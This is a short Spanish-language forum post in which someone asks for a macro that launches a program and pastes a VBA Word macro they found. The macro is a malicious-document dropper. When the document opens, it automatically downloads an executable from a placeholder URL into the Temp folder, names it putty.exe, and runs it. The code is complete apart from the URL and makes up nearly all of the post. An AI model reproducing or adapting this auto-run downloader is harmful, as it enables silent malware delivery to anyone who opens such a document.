alguien sabe una macro para que se ejecute un programa?
en este foro encontre una pero no funciona es esta

#If Win64 Then

Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)

#Else

Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)

#End If


Sub ToggleHyperlinkCtrlClick()
Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen
End Sub
Sub Document_Open()


DownloadAndExecute
End Sub




Sub DownloadAndExecute()
Dim URL As String
Dim FILE As String
URL = "PONER URL AQUI"
FILE = Environ("Temp") & "\" & "putty" & ".exe"
URLDownloadToFileA 0, URL, FILE, 0, 0

If Len(Dir(FILE)) > 0 Then

Shell FILE, vbNormalFocus
End If

End Sub